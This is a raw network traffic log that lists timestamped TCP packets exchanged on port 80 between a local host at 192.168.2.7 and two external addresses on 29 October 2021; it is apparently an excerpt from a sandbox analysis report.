Oct 29, 2021 15:31:13.535119057 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.535131931 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535149097 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535166025 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535185099 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.535186052 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535204887 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535221100 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535238028 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535239935 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.535254955 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535267115 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.535271883 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535289049 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535299063 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.535307884 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535325050 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535342932 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.535343885 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535361052 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535377979 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.535378933 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.535413027 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.540265083 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.592819929 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:13.592883110 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:13.602081060 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602116108 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602133989 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602154016 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602171898 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602190018 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602194071 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602207899 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602226019 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602246046 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602257967 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602261066 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602279902 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602298975 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602315903 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602317095 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602333069 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602353096 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602355957 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602370977 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602375984 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602401018 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602422953 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602425098 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602443933 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602453947 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602464914 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602483988 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602503061 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602511883 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602520943 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602538109 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602539062 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602556944 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602575064 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602581978 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602592945 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602606058 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602616072 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602634907 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602650881 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602663040 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602674007 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602688074 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602694035 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602713108 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602730989 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602746010 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602747917 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602766037 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602775097 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602782011 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602792025 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602802038 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602819920 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602829933 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602838039 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602854967 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602871895 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602888107 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602889061 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602905989 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602921009 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602924109 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602943897 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602952003 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602962971 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602978945 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.602982044 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.602999926 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603017092 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603019953 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603035927 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603055000 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603070021 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603071928 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603085995 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603091002 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603111982 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603128910 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603144884 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603143930 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603163004 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603179932 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603192091 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603205919 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603223085 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603228092 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603240013 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603246927 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603259087 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603276014 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603295088 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603308916 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603313923 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603319883 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603331089 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603332996 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603351116 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603368998 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603374958 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603387117 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603394032 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603413105 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603430986 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603442907 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603449106 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603466034 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603482962 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603487015 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603503942 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603504896 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603523016 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603539944 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603553057 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603555918 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603576899 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603584051 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603594065 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603610992 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603621006 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603629112 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603646040 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603662014 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603677988 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603693962 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603708982 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603710890 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603719950 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603729963 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603746891 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603746891 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603765011 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603765965 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603784084 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603800058 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603805065 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603816986 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603836060 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603851080 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603853941 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603872061 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603876114 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603890896 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603908062 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603924036 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603930950 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603936911 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603955030 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603965998 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.603972912 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.603991985 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604001999 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604008913 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604027033 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604043961 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604053020 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604062080 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604079008 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604091883 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604094982 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604111910 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604129076 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604135990 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604146004 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604159117 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604165077 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604182005 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604196072 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604198933 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604216099 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604235888 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604242086 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604254961 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604266882 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604269028 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604284048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604301929 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604311943 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604319096 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604337931 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604353905 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604357958 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604371071 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604377985 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604389906 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604406118 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604423046 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604438066 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604439974 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604458094 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604475021 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604485989 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604492903 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604504108 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604511976 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604531050 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604542017 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604547024 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604559898 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604567051 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.604604959 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.604796886 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.606928110 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.606950045 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.606966019 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.606983900 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607001066 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607017040 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607033968 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607034922 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607054949 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607059002 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607074022 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607091904 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607110023 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607130051 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607131958 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607151031 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607168913 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607188940 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607199907 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607211113 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607228041 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607229948 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607249022 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607263088 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607265949 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607276917 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607285976 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607304096 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607320070 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607321978 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607338905 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607357025 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607364893 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607377052 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607391119 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607397079 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607415915 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607418060 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607434034 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607450962 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607467890 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607477903 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607486010 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607491970 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607503891 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607522011 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607537985 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607538939 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607556105 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607568026 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607572079 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607589960 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607606888 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607621908 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607623100 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607640982 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607657909 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607660055 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607673883 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607692003 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607692957 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607708931 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607721090 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607726097 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607743979 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607744932 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607762098 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.607788086 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.607825994 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.655865908 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.655895948 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:13.671710014 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671747923 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671766043 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671783924 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671802044 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671818972 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671835899 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671849012 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671866894 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671883106 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671884060 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.671900988 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671920061 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671938896 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671941042 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.671956062 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671972990 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.671991110 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672008991 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672010899 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672027111 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672028065 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672045946 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672063112 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672070026 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672080994 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672090054 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672100067 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672115088 CEST	49846	80	192.168.2.7	193.56.146.214
Oct 29, 2021 15:31:13.672121048 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672139883 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672156096 CEST	80	49846	193.56.146.214	192.168.2.7
Oct 29, 2021 15:31:13.672163010 CEST	49846	80	192.168.2.7	193.56.146.214
